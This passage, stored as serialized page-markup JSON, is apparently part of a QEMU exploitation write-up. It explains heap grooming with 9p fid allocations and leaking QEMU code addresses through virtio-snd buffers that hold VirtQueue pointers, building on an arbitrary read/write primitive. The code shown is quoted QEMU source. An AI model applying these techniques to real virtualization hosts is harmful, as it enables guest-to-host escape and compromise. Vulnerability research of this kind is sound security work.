ps":140616,"children":140617},{"style":94},[140618],{"type":29,"value":115136},{"type":23,"tag":75,"props":140620,"children":140621},{"class":77,"line":881},[140622],{"type":23,"tag":75,"props":140623,"children":140624},{"style":94},[140625],{"type":29,"value":369},{"type":23,"tag":75,"props":140627,"children":140628},{"class":77,"line":3355},[140629],{"type":23,"tag":75,"props":140630,"children":140631},{"emptyLinePlaceholder":15},[140632],{"type":29,"value":276},{"type":23,"tag":75,"props":140634,"children":140635},{"class":77,"line":3390},[140636,140640,140645,140649,140653,140658,140662,140666,140670,140675,140680],{"type":23,"tag":75,"props":140637,"children":140638},{"style":82},[140639],{"type":29,"value":62229},{"type":23,"tag":75,"props":140641,"children":140642},{"style":94},[140643],{"type":29,"value":140644}," V9fsFidState ",{"type":23,"tag":75,"props":140646,"children":140647},{"style":209},[140648],{"type":29,"value":601},{"type":23,"tag":75,"props":140650,"children":140651},{"style":88},[140652],{"type":29,"value":140262},{"type":23,"tag":75,"props":140654,"children":140655},{"style":94},[140656],{"type":29,"value":140657},"(V9fsState ",{"type":23,"tag":75,"props":140659,"children":140660},{"style":209},[140661],{"type":29,"value":601},{"type":23,"tag":75,"props":140663,"children":140664},{"style":110},[140665],{"type":29,"value":21899},{"type":23,"tag":75,"props":140667,"children":140668},{"style":94},[140669],{"type":29,"value":611},{"type":23,"tag":75,"props":140671,"children":140672},{"style":82},[140673],{"type":29,"value":140674},"int32_t",{"type":23,"tag":75,"props":140676,"children":140677},{"style":110},[140678],{"type":29,"value":140679}," fid",{"type":23,"tag":75,"props":140681,"children":140682},{"style":94},[140683],{"type":29,"value":653},{"type":23,"tag":75,"props":140685,"children":140686},{"class":77,"line":3423},[140687],{"type":23,"tag":75,"props":140688,"children":140689},{"style":94},[140690],{"type":29,"value":2549},{"type":23,"tag":75,"props":140692,"children":140693},{"class":77,"line":3436},[140694,140698,140702],{"type":23,"tag":75,"props":140695,"children":140696},{"style":94},[140697],{"type":29,"value":138426},{"type":23,"tag":75,"props":140699,"children":140700},{"style":209},[140701],{"type":29,"value":601},{"type":23,"tag":75,"props":140703,"children":140704},{"style":94},[140705],{"type":29,"value":62350},{"type":23,"tag":75,"props":140707,"children":140708},{"class":77,"line":3449},[140709],{"type":23,"tag":75,"props":140710,"children":140711},{"emptyLinePlaceholder":15},[140712],{"type":29,"value":276},{"type":23,"tag":75,"props":140714,"children":140715},{"class":77,"line":3457},[140716,140721,140725,140730,140734,140738,140742,140747,140751,140756],{"type":23,"tag":75,"props":140717,"children":140718},{"style":94},[140719],{"type":29,"value":140720},"    f ",{"type":23,"tag":75,"props":140722,"children":140723},{"style":209},[140724],{"type":29,"value":212},{"type":23,"tag":75,"props":140726,"children":140727},{"style":88},[140728],{"type":29,"value":140729}," g_hash_table_lookup",{"type":23,"tag":75,"props":140731,"children":140732},{"style":94},[140733],{"type":29,"value":643},{"type":23,"tag":75,"props":140735,"children":140736},{"style":110},[140737],{"type":29,"value":21899},{"type":23,"tag":75,"props":140739,"children":140740},{"style":94},[140741],{"type":29,"value":1156},{"type":23,"tag":75,"props":140743,"children":140744},{"style":110},[140745],{"type":29,"value":140746},"fids",{"type":23,"tag":75,"props":140748,"children":140749},{"style":94},[140750],{"type":29,"value":611},{"type":23,"tag":75,"props":140752,"children":140753},{"style":88},[140754],{"type":29,"value":140755},"GINT_TO_POINTER",{"type":23,"tag":75,"props":140757,"children":140758},{"style":94},[140759],{"type":29,"value":140760},"(fid));\n",{"type":23,"tag":75,"props":140762,"children":140763},{"class":77,"line":3465},[140764,140768],{"type":23,"tag":75,"props":140765,"children":140766},{"style":175},[140767],{"type":29,"value":1363},{"type":23,"tag":75,"props":140769,"children":140770},{"style":94},[140771],{"type":29,"value":140772}," (f) {\n",{"type":23,"tag":75,"props":140774,"children":140775},{"class":77,"line":3473},[140776],{"type":23,"tag":75,"props":140777,"children":140778},{"style":3621},[140779],{"type":29,"value":140780},"        /* If fid is already there return NULL */\n",{"type":23,"tag":75,"props":140782,"children":140783},{"class":77,"line":3481},[140784,140789,140793,140797,140801,140806],{"type":23,"tag":75,"props":140785,"children":140786},{"style":88},[140787],{"type":29,"value":140788},"        BUG_ON",{"type":23,"tag":75,"props":140790,"children":140791},{"style":94},[140792],{"type":29,"value":643},{"type":23,"tag":75,"props":140794,"children":140795},{"style":110},[140796],{"type":29,"value":44278},{"type":23,"tag":75,"props":140798,"children":140799},{"style":94},[140800],{"type":29,"value":1156},{"type":23,"tag":75,"props":140802,"children":140803},{"style":110},[140804],{"type":29,"value":140805},"clunked",{"type":23,"tag":75,"props":140807,"children":140808},{"style":94},[140809],{"type":29,"value":15099},{"type":23,"tag":75,"props":140811,"children":140812},{"class":77,"line":3524},[140813,140817,140821],{"type":23,"tag":75,"props":140814,"children":140815},{"style":175},[140816],{"type":29,"value":1388},{"type":23,"tag":75,"props":140818,"children":140819},{"style":82},[140820],{"type":29,"value":138105},{"type":23,"tag":75,"props":140822,"children":140823},{"style":94},[140824],{"type":29,"value":245},{"type":23,"tag":75,"props":140826,"children":140827},{"class":77,"line":4890},[140828],{"type":23,"tag":75,"props":140829,"children":140830},{"style":94},[140831],{"type":29,"value":346},{"type":23,"tag":75,"props":140833,"children":140834},{"class":77,"line":4937},[140835,140839,140843,140848,140853,140857],{"type":23,"tag":75,"props":140836,"children":140837},{"style":94},[140838],{"type":29,"value":140720},{"type":23,"tag":75,"props":140840,"children":140841},{"style":209},[140842],{"type":29,"value":212},{"type":23,"tag":75,"props":140844,"children":140845},{"style":88},[140846],{"type":29,"value":140847}," g_new0",{"type":23,"tag":75,"props":140849,"children":140850},{"style":94},[140851],{"type":29,"value":140852},"(V9fsFidState, ",{"type":23,"tag":75,"props":140854,"children":140855},{"style":237},[140856],{"type":29,"value":7867},{"type":23,"tag":75,"props":140858,"children":140859},{"style":94},[140860],{"type":29,"value":15099},{"type":23,"tag":75,"props":140862,"children":140863},{"class":77,"line":4950},[140864],{"type":23,"tag":75,"props":140865,"children":140866},{"emptyLinePlaceholder":15},[140867],{"type":29,"value":276},{"type":23,"tag":75,"props":140869,"children":140870},{"class":77,"line":4958},[140871],{"type":23,"tag":75,"props":140872,"children":140873},{"style":94},[140874],{"type":29,"value":115136},{"type":23,"tag":32,"props":140876,"children":140877},{},[140878,140880,140885],{"type":29,"value":140879},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":71,"props":140881,"children":140883},{"className":140882},[],[140884],{"type":29,"value":139680},{"type":29,"value":139017},{"type":23,"tag":64,"props":140887,"children":140889},{"code":140888},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[140890],{"type":23,"tag":71,"props":140891,"children":140892},{"__ignoreMap":7},[140893],{"type":29,"value":140888},{"type":23,"tag":30116,"props":140895,"children":140897},{"id":140896},"leaking-a-qemu-address",[140898],{"type":29,"value":140899},"Leaking a QEMU Address",{"type":23,"tag":32,"props":140901,"children":140902},{},[140903],{"type":29,"value":140904},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":32,"props":140906,"children":140907},{},[140908,140910,140915],{"type":29,"value":140909},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":71,"props":140911,"children":140913},{"className":140912},[],[140914],{"type":29,"value":134100},{"type":29,"value":1018},{"type":23,"tag":64,"props":140917,"children":140919},{"code":140918,"language":14432,"meta":7,"className":27738,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[140920],{"type":23,"tag":71,"props":140921,"children":140922},{"__ignoreMap":7},[140923,140966,140973,141004,141019,141034,141046,141059,141066,141073,141080,141091,141106,141113,141141,141160,141171,141178,141186,141223,141244,141256,141269,141282,141308,141320,141327,141365,141372,141379,141386,141417,141472,141484,141525,141548,141577,141604,141631,141663],{"type":23,"tag":75,"props":140924,"children":140925},{"class":77,"line":78},[140926,140930,140934,140938,140942,140946,140950,140954,140958,140962],{"type":23,"tag":75,"props":140927,"children":140928},{"style":82},[140929],{"type":29,"value":62229},{"type":23,"tag":75,"props":140931,"children":140932},{"style":82},[140933],{"type":29,"value":62234},{"type":23,"tag":75,"props":140935,"children":140936},{"style":88},[140937],{"type":29,"value":134179},{"type":23,"tag":75,"props":140939,"children":140940},{"style":94},[140941],{"type":29,"value":134184},{"type":23,"tag":75,"props":140943,"children":140944},{"style":209},[140945],{"type":29,"value":601},{"type":23,"tag":75,"props":140947,"children":140948},{"style":110},[140949],{"type":29,"value":134193},{"type":23,"tag":75,"props":140951,"children":140952},{"style":94},[140953],{"type":29,"value":134198},{"type":23,"tag":75,"props":140955,"children":140956},{"style":209},[140957],{"type":29,"value":601},{"type":23,"tag":75,"props":140959,"children":140960},{"style":110},[140961],{"type":29,"value":134207},{"type":23,"tag":75,"props":140963,"children":140964},{"style":94},[140965],{"type":29,"value":653},{"type":23,"tag":75,"props":140967,"children":140968},{"class":77,"line":100},[140969],{"type":23,"tag":75,"props":140970,"children":140971},{"style":94},[140972],{"type":29,"value":2549},{"type":23,"tag":75,"props":140974,"children":140975},{"class":77,"line":121},[140976,140981,140985,140990,140994,140999],{"type":23,"tag":75,"props":140977,"children":140978},{"style":94},[140979],{"type":29,"value":140980},"    VirtIOSound ",{"type":23,"tag":75,"props":140982,"children":140983},{"style":209},[140984],{"type":29,"value":601},{"type":23,"tag":75,"props":140986,"children":140987},{"style":94},[140988],{"type":29,"value":140989},"vsnd ",{"type":23,"tag":75,"props":140991,"children":140992},{"style":209},[140993],{"type":29,"value":212},{"type":23,"tag":75,"props":140995,"children":140996},{"style":88},[140997],{"type":29,"value":140998}," VIRTIO_SND",{"type":23,"tag":75,"props":141000,"children":141001},{"style":94},[141002],{"type":29,"value":141003},"(vdev);\n",{"type":23,"tag":75,"props":141005,"children":141006},{"class":77,"line":138},[141007,141011,141015],{"type":23,"tag":75,"props":141008,"children":141009},{"style":94},[141010],{"type":29,"value":135197},{"type":23,"tag":75,"props":141012,"children":141013},{"style":209},[141014],{"type":29,"value":601},{"type":23,"tag":75,"props":141016,"children":141017},{"style":94},[141018],{"type":29,"value":135206},{"type":23,"tag":75,"props":141020,"children":141021},{"class":77,"line":161},[141022,141026,141030],{"type":23,"tag":75,"props":141023,"children":141024},{"style":94},[141025],{"type":29,"value":134226},{"type":23,"tag":75,"props":141027,"children":141028},{"style":209},[141029],{"type":29,"value":601},{"type":23,"tag":75,"props":141031,"children":141032},{"style":94},[141033],{"type":29,"value":134235},{"type":23,"tag":75,"props":141035,"children":141036},{"class":77,"line":196},[141037,141041],{"type":23,"tag":75,"props":141038,"children":141039},{"style":82},[141040],{"type":29,"value":27788},{"type":23,"tag":75,"props":141042,"children":141043},{"style":94},[141044],{"type":29,"value":141045}," msg_sz, size;\n",{"type":23,"tag":75,"props":141047,"children":141048},{"class":77,"line":220},[141049,141054],{"type":23,"tag":75,"props":141050,"children":141051},{"style":82},[141052],{"type":29,"value":141053},"    uint32_t",{"type":23,"tag":75,"props":141055,"children":141056},{"style":94},[141057],{"type":29,"value":141058}," stream_id;\n",{"type":23,"tag":75,"props":141060,"children":141061},{"class":77,"line":248},[141062],{"type":23,"tag":75,"props":141063,"children":141064},{"emptyLinePlaceholder":15},[141065],{"type":29,"value":276},{"type":23,"tag":75,"props":141067,"children":141068},{"class":77,"line":270},[141069],{"type":23,"tag":75,"props":141070,"children":141071},{"style":94},[141072],{"type":29,"value":115136},{"type":23,"tag":75,"props":141074,"children":141075},{"class":77,"line":279},[141076],{"type":23,"tag":75,"props":141077,"children":141078},{"emptyLinePlaceholder":15},[141079],{"type":29,"value":276},{"type":23,"tag":75,"props":141081,"children":141082},{"class":77,"line":303},[141083,141087],{"type":23,"tag":75,"props":141084,"children":141085},{"style":175},[141086],{"type":29,"value":711},{"type":23,"tag":75,"props":141088,"children":141089},{"style":94},[141090],{"type":29,"value":134261},{"type":23,"tag":75,"props":141092,"children":141093},{"class":77,"line":322},[141094,141098,141102],{"type":23,"tag":75,"props":141095,"children":141096},{"style":94},[141097],{"type":29,"value":134269},{"type":23,"tag":75,"props":141099,"children":141100},{"style":209},[141101],{"type":29,"value":601},{"type":23,"tag":75,"props":141103,"children":141104},{"style":94},[141105],{"type":29,"value":134278},{"type":23,"tag":75,"props":141107,"children":141108},{"class":77,"line":340},[141109],{"type":23,"tag":75,"props":141110,"children":141111},{"emptyLinePlaceholder":15},[141112],{"type":29,"value":276},{"type":23,"tag":75,"props":141114,"children":141115},{"class":77,"line":349},[141116,141120,141124,141128,141132,141136],{"type":23,"tag":75,"props":141117,"children":141118},{"style":94},[141119],{"type":29,"value":134293},{"type":23,"tag":75,"props":141121,"children":141122},{"style":209},[141123],{"type":29,"value":212},{"type":23,"tag":75,"props":141125,"children":141126},{"style":88},[141127],{"type":29,"value":134302},{"type":23,"tag":75,"props":141129,"children":141130},{"style":94},[141131],{"type":29,"value":134307},{"type":23,"tag":75,"props":141133,"children":141134},{"style":82},[141135],{"type":29,"value":66512},{"type":23,"tag":75,"props":141137,"children":141138},{"style":94},[141139],{"type":29,"value":141140},"(VirtQueueElement));\n",{"type":23,"tag":75,"props":141142,"children":141143},{"class":77,"line":363},[141144,141148,141152,141156],{"type":23,"tag":75,"props":141145,"children":141146},{"style":175},[141147],{"type":29,"value":2445},{"type":23,"tag":75,"props":141149,"children":141150},{"style":94},[141151],{"type":29,"value":183},{"type":23,"tag":75,"props":141153,"children":141154},{"style":209},[141155],{"type":29,"value":13434},{"type":23,"tag":75,"props":141157,"children":141158},{"style":94},[141159],{"type":29,"value":134341},{"type":23,"tag":75,"props":141161,"children":141162},{"class":77,"line":656},[141163,141167],{"type":23,"tag":75,"props":141164,"children":141165},{"style":175},[141166],{"type":29,"value":14581},{"type":23,"tag":75,"props":141168,"children":141169},{"style":94},[141170],{"type":29,"value":245},{"type":23,"tag":75,"props":141172,"children":141173},{"class":77,"line":705},[141174],{"type":23,"tag":75,"props":141175,"children":141176},{"style":94},[141177],{"type":29,"value":2503},{"type":23,"tag":75,"props":141179,"children":141180},{"class":77,"line":787},[141181],{"type":23,"tag":75,"props":141182,"children":141183},{"style":3621},[141184],{"type":29,"value":141185},"        /* get the message hdr object */\n",{"type":23,"tag":75,"props":141187,"children":141188},{"class":77,"line":826},[141189,141194,141198,141203,141207,141211,141215,141219],{"type":23,"tag":75,"props":141190,"children":141191},{"style":94},[141192],{"type":29,"value":141193},"        msg_sz ",{"type":23,"tag":75,"props":141195,"children":141196},{"style":209},[141197],{"type":29,"value":212},{"type":23,"tag":75,"props":141199,"children":141200},{"style":88},[141201],{"type":29,"value":141202}," iov_to_buf",{"type":23,"tag":75,"props":141204,"children":141205},{"style":94},[141206],{"type":29,"value":643},{"type":23,"tag":75,"props":141208,"children":141209},{"style":110},[141210],{"type":29,"value":63249},{"type":23,"tag":75,"props":141212,"children":141213},{"style":94},[141214],{"type":29,"value":1156},{"type":23,"tag":75,"props":141216,"children":141217},{"style":110},[141218],{"type":29,"value":134745},{"type":23,"tag":75,"props":141220,"children":141221},{"style":94},[141222],{"type":29,"value":118},{"type":23,"tag":75,"props":141224,"children":141225},{"class":77,"line":834},[141226,141231,141235,141240],{"type":23,"tag":75,"props":141227,"children":141228},{"style":110},[141229],{"type":29,"value":141230},"                            elem",{"type":23,"tag":75,"props":141232,"children":141233},{"style":94},[141234],{"type":29,"value":1156},{"type":23,"tag":75,"props":141236,"children":141237},{"style":110},[141238],{"type":29,"value":141239},"out_num",{"type":23,"tag":75,"props":141241,"children":141242},{"style":94},[141243],{"type":29,"value":118},{"type":23,"tag":75,"props":141245,"children":141246},{"class":77,"line":881},[141247,141252],{"type":23,"tag":75,"props":141248,"children":141249},{"style":237},[141250],{"type":29,"value":141251},"                            0",{"type":23,"tag":75,"props":141253,"children":141254},{"style":94},[141255],{"type":29,"value":118},{"type":23,"tag":75,"props":141257,"children":141258},{"class":77,"line":3355},[141259,141264],{"type":23,"tag":75,"props":141260,"children":141261},{"style":209},[141262],{"type":29,"value":141263},"                            &",{"type":23,"tag":75,"props":141265,"children":141266},{"style":94},[141267],{"type":29,"value":141268},"hdr,\n",{"type":23,"tag":75,"props":141270,"children":141271},{"class":77,"line":3390},[141272,141277],{"type":23,"tag":75,"props":141273,"children":141274},{"style":82},[141275],{"type":29,"value":141276},"                            sizeof",{"type":23,"tag":75,"props":141278,"children":141279},{"style":94},[141280],{"type":29,"value":141281},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":75,"props":141283,"children":141284},{"class":77,"line":3423},[141285,141289,141294,141298,141303],{"type":23,"tag":75,"props":141286,"children":141287},{"style":175},[141288],{"type":29,"value":2445},{"type":23,"tag":75,"props":141290,"children":141291},{"style":94},[141292],{"type":29,"value":141293}," (msg_sz ",{"type":23,"tag":75,"props":141295,"children":141296},{"style":209},[141297],{"type":29,"value":26916},{"type":23,"tag":75,"props":141299,"children":141300},{"style":82},[141301],{"type":29,"value":141302}," sizeof",{"type":23,"tag":75,"props":141304,"children":141305},{"style":94},[141306],{"type":29,"value":141307},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":75,"props":141309,"children":141310},{"class":77,"line":3436},[141311,141315],{"type":23,"tag":75,"props":141312,"children":141313},{"style":175},[141314],{"type":29,"value":71731},{"type":23,"tag":75,"props":141316,"children":141317},{"style":94},[141318],{"type":29,"value":141319}," rx_err;\n",{"type":23,"tag":75,"props":141321,"children":141322},{"class":77,"line":3449},[141323],{"type":23,"tag":75,"props":141324,"children":141325},{"style":94},[141326],{"type":29,"value":2503},{"type":23,"tag":75,"props":141328,"children":141329},{"class":77,"line":3457},[141330,141335,141339,141343,141347,141352,141356,141361],{"type":23,"tag":75,"props":141331,"children":141332},{"style":94},[141333],{"type":29,"value":141334},"        stream_id ",{"type":23,"tag":75,"props":141336,"children":141337},{"style":209},[141338],{"type":29,"value":212},{"type":23,"tag":75,"props":141340,"children":141341},{"style":88},[141342],{"type":29,"value":136207},{"type":23,"tag":75,"props":141344,"children":141345},{"style":94},[141346],{"type":29,"value":643},{"type":23,"tag":75,"props":141348,"children":141349},{"style":110},[141350],{"type":29,"value":141351},"hdr",{"type":23,"tag":75,"props":141353,"children":141354},{"style":94},[141355],{"type":29,"value":557},{"type":23,"tag":75,"props":141357,"children":141358},{"style":110},[141359],{"type":29,"value":141360},"stream_id",{"type":23,"tag":75,"props":141362,"children":141363},{"style":94},[141364],{"type":29,"value":15099},{"type":23,"tag":75,"props":141366,"children":141367},{"class":77,"line":3465},[141368],{"type":23,"tag":75,"props":141369,"children":141370},{"emptyLinePlaceholder":15},[141371],{"type":29,"value":276},{"type":23,"tag":75,"props":141373,"children":141374},{"class":77,"line":3473},[141375],{"type":23,"tag":75,"props":141376,"children":141377},{"style":94},[141378],{"type":29,"value":134374},{"type":23,"tag":75,"props":141380,"children":141381},{"class":77,"line":3481},[141382],{"type":23,"tag":75,"props":141383,"children":141384},{"emptyLinePlaceholder":15},[141385],{"type":29,"value":276},{"type":23,"tag":75,"props":141387,"children":141388},{"class":77,"line":3524},[141389,141393,141397,141401,141405,141409,141413],{"type":23,"tag":75,"props":141390,"children":141391},{"style":88},[141392],{"type":29,"value":134389},{"type":23,"tag":75,"props":141394,"children":141395},{"style":94},[141396],{"type":29,"value":643},{"type":23,"tag":75,"props":141398,"children":141399},{"style":209},[141400],{"type":29,"value":1277},{"type":23,"tag":75,"props":141402,"children":141403},{"style":110},[141404],{"type":29,"value":47453},{"type":23,"tag":75,"props":141406,"children":141407},{"style":94},[141408],{"type":29,"value":1156},{"type":23,"tag":75,"props":141410,"children":141411},{"style":110},[141412],{"type":29,"value":134410},{"type":23,"tag":75,"props":141414,"children":141415},{"style":94},[141416],{"type":29,"value":193},{"type":23,"tag":75,"props":141418,"children":141419},{"class":77,"line":4890},[141420,141424,141428,141432,141436,141440,141444,141448,141452,141456,141460,141464,141468],{"type":23,"tag":75,"props":141421,"children":141422},{"style":94},[141423],{"type":29,"value":134422},{"type":23,"tag":75,"props":141425,"children":141426},{"style":209},[141427],{"type":29,"value":212},{"type":23,"tag":75,"props":141429,"children":141430},{"style":88},[141431],{"type":29,"value":134431},{"type":23,"tag":75,"props":141433,"children":141434},{"style":94},[141435],{"type":29,"value":643},{"type":23,"tag":75,"props":141437,"children":141438},{"style":110},[141439],{"type":29,"value":63249},{"type":23,"tag":75,"props":141441,"children":141442},{"style":94},[141443],{"type":29,"value":1156},{"type":23,"tag":75,"props":141445,"children":141446},{"style":110},[141447],{"type":29,"value":134448},{"type":23,"tag":75,"props":141449,"children":141450},{"style":94},[141451],{"type":29,"value":611},{"type":23,"tag":75,"props":141453,"children":141454},{"style":110},[141455],{"type":29,"value":63249},{"type":23,"tag":75,"props":141457,"children":141458},{"style":94},[141459],{"type":29,"value":1156},{"type":23,"tag":75,"props":141461,"children":141462},{"style":110},[141463],{"type":29,"value":134465},{"type":23,"tag":75,"props":141465,"children":141466},{"style":94},[141467],{"type":29,"value":167},{"type":23,"tag":75,"props":141469,"children":141470},{"style":209},[141471],{"type":29,"value":62046},{"type":23,"tag":75,"props":141473,"children":141474},{"class":77,"line":4937},[141475,141479],{"type":23,"tag":75,"props":141476,"children":141477},{"style":82},[141478],{"type":29,"value":134481},{"type":23,"tag":75,"props":141480,"children":141481},{"style":94},[141482],{"type":29,"value":141483},"(virtio_snd_pcm_status);\n",{"type":23,"tag":75,"props":141485,"children":141486},{"class":77,"line":4950},[141487,141491,141495,141499,141503,141507,141511,141515,141520],{"type":23,"tag":75,"props":141488,"children":141489},{"style":94},[141490],{"type":29,"value":134499},{"type":23,"tag":75,"props":141492,"children":141493},{"style":209},[141494],{"type":29,"value":212},{"type":23,"tag":75,"props":141496,"children":141497},{"style":88},[141498],{"type":29,"value":134508},{"type":23,"tag":75,"props":141500,"children":141501},{"style":94},[141502],{"type":29,"value":643},{"type":23,"tag":75,"props":141504,"children":141505},{"style":82},[141506],{"type":29,"value":66512},{"type":23,"tag":75,"props":141508,"children":141509},{"style":94},[141510],{"type":29,"value":134521},{"type":23,"tag":75,"props":141512,"children":141513},{"style":209},[141514],{"type":29,"value":7862},{"type":23,"tag":75,"props":141516,"children":141517},{"style":94},[141518],{"type":29,"value":141519}," size);",{"type":23,"tag":75,"props":141521,"children":141522},{"style":3621},[141523],{"type":29,"value":141524},"    // [1]\n",{"type":23,"tag":75,"props":141526,"children":141527},{"class":77,"line":4958},[141528,141532,141536,141540,141544],{"type":23,"tag":75,"props":141529,"children":141530},{"style":110},[141531],{"type":29,"value":134538},{"type":23,"tag":75,"props":141533,"children":141534},{"style":94},[141535],{"type":29,"value":1156},{"type":23,"tag":75,"props":141537,"children":141538},{"style":110},[141539],{"type":29,"value":63249},{"type":23,"tag":75,"props":141541,"children":141542},{"style":209},[141543],{"type":29,"value":1193},{"type":23,"tag":75,"props":141545,"children":141546},{"style":94},[141547],{"type":29,"value":134555},{"type":23,"tag":75,"props":141549,"children":141550},{"class":77,"line":4967},[141551,141555,141559,141563,141567,141572],{"type":23,"tag":75,"props":141552,"children":141553},{"style":110},[141554],{"type":29,"value":134538},{"type":23,"tag":75,"props":141556,"children":141557},{"style":94},[141558],{"type":29,"value":1156},{"type":23,"tag":75,"props":141560,"children":141561},{"style":110},[141562],{"type":29,"value":134207},{"type":23,"tag":75,"props":141564,"children":141565},{"style":209},[141566],{"type":29,"value":1193},{"type":23,"tag":75,"props":141568,"children":141569},{"style":94},[141570],{"type":29,"value":141571}," vq;",{"type":23,"tag":75,"props":141573,"children":141574},{"style":3621},[141575],{"type":29,"value":141576},"                                            // [2]\n",{"type":23,"tag":75,"props":141578,"children":141579},{"class":77,"line":4975},[141580,141584,141588,141592,141596,141600],{"type":23,"tag":75,"props":141581,"children":141582},{"style":110},[141583],{"type":29,"value":134538},{"type":23,"tag":75,"props":141585,"children":141586},{"style":94},[141587],{"type":29,"value":1156},{"type":23,"tag":75,"props":141589,"children":141590},{"style":110},[141591],{"type":29,"value":134595},{"type":23,"tag":75,"props":141593,"children":141594},{"style":209},[141595],{"type":29,"value":1193},{"type":23,"tag":75,"props":141597,"children":141598},{"style":237},[141599],{"type":29,"value":240},{"type":23,"tag":75,"props":141601,"children":141602},{"style":94},[141603],{"type":29,"value":245},{"type":23,"tag":75,"props":141605,"children":141606},{"class":77,"line":5016},[141607,141611,141615,141619,141623,141627],{"type":23,"tag":75,"props":141608,"children":141609},{"style":110},[141610],{"type":29,"value":134538},{"type":23,"tag":75,"props":141612,"children":141613},{"style":94},[141614],{"type":29,"value":1156},{"type":23,"tag":75,"props":141616,"children":141617},{"style":110},[141618],{"type":29,"value":25142},{"type":23,"tag":75,"props":141620,"children":141621},{"style":209},[141622],{"type":29,"value":1193},{"type":23,"tag":75,"props":141624,"children":141625},{"style":237},[141626],{"type":29,"value":240},{"type":23,"tag":75,"props":141628,"children":141629},{"style":94},[141630],{"type":29,"value":245},{"type":23,"tag":75,"props":141632,"children":141633},{"class":77,"line":5025},[141634,141638,141642,141646,141650,141654,141658],{"type":23,"tag":75,"props":141635,"children":141636},{"style":88},[141637],{"type":29,"value":134642},{"type":23,"tag":75,"props":141639,"children":141640},{"style":94},[141641],{"type":29,"value":643},{"type":23,"tag":75,"props":141643,"children":141644},{"style":209},[141645],{"type":29,"value":1277},{"type":23,"tag":75,"props":141647,"children":141648},{"style":110},[141649],{"type":29,"value":47453},{"type":23,"tag":75,"props":141651,"children":141652},{"style":94},[141653],{"type":29,"value":1156},{"type":23,"tag":75,"props":141655,"children":141656},{"style":110},[141657],{"type":29,"value":134663},{"type":23,"tag":75,"props":141659,"children":141660},{"style":94},[141661],{"type":29,"value":141662},", buffer, entry);\n",{"type":23,"tag":75,"props":141664,"children":141665},{"class":77,"line":5033},[141666],{"type":23,"tag":75,"props":141667,"children":141668},{"style":94},[141669],{"type":29,"value":2503},{"type":23,"tag":32,"props":141671,"children":141672},{},[141673,141674,141679,141681,141686,141688,141693,141695,141701],{"type":29,"value":134717},{"type":23,"tag":71,"props":141675,"children":141677},{"className":141676},[],[141678],{"type":29,"value":134723},{"type":29,"value":141680},", QEMU allocates a ",{"type":23,"tag":71,"props":141682,"children":141684},{"className":141683},[],[141685],{"type":29,"value":134860},{"type":29,"value":141687}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":71,"props":141689,"children":141691},{"className":141690},[],[141692],{"type":29,"value":134758},{"type":29,"value":141694}," it stores the ",{"type":23,"tag":71,"props":141696,"children":141698},{"className":141697},[],[141699],{"type":29,"value":141700},"VirtQueue *vq",{"type":29,"value":141702}," pointer into the buffer.",{"type":23,"tag":32,"props":141704,"children":141705},{},[141706,141707,141713],{"type":29,"value":75395},{"type":23,"tag":71,"props":141708,"children":141710},{"className":141709},[],[141711],{"type":29,"value":141712},"VirtQueue",{"type":29,"value":141714}," structure contains some useful fields:",{"type":23,"tag":64,"props":141716,"children":141718},{"code":141717,"language":14432,"meta":7,"className":27738,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[141719],{"type":23,"tag":71,"props":141720,"children":141721},{"__ignoreMap":7},[141722,141734,141741,141748,141755,141763,141780,141787,141794],{"type":23,"tag":75,"props":141723,"children":141724},{"class":77,"line":78},[141725,141729],{"type":23,"tag":75,"props":141726,"children":141727},{"style":82},[141728],{"type":29,"value":20652},{"type":23,"tag":75,"props":141730,"children":141731},{"style":94},[141732],{"type":29,"value":141733}," VirtQueue\n",{"type":23,"tag":75,"props":141735,"children":141736},{"class":77,"line":100},[141737],{"type":23,"tag":75,"props":141738,"children":141739},{"style":94},[141740],{"type":29,"value":2549},{"type":23,"tag":75,"props":141742,"children":141743},{"class":77,"line":121},[141744],{"type":23,"tag":75,"props":141745,"children":141746},{"style":94},[141747],{"type":29,"value":115136},{"type":23,"tag":75,"props":141749,"children":141750},{"class":77,"line":138},[141751],{"type":23,"tag":75,"props":141752,"children":141753},{"emptyLinePlaceholder":15},[141754],{"type":29,"value":276},{"type":23,"tag":75,"props":141756,"children":141757},{"class":77,"line":161},[141758],{"type":23,"tag":75,"props":141759,"children":141760},{"style":94},[141761],{"type":29,"value":141762},"    VirtIOHandleOutput 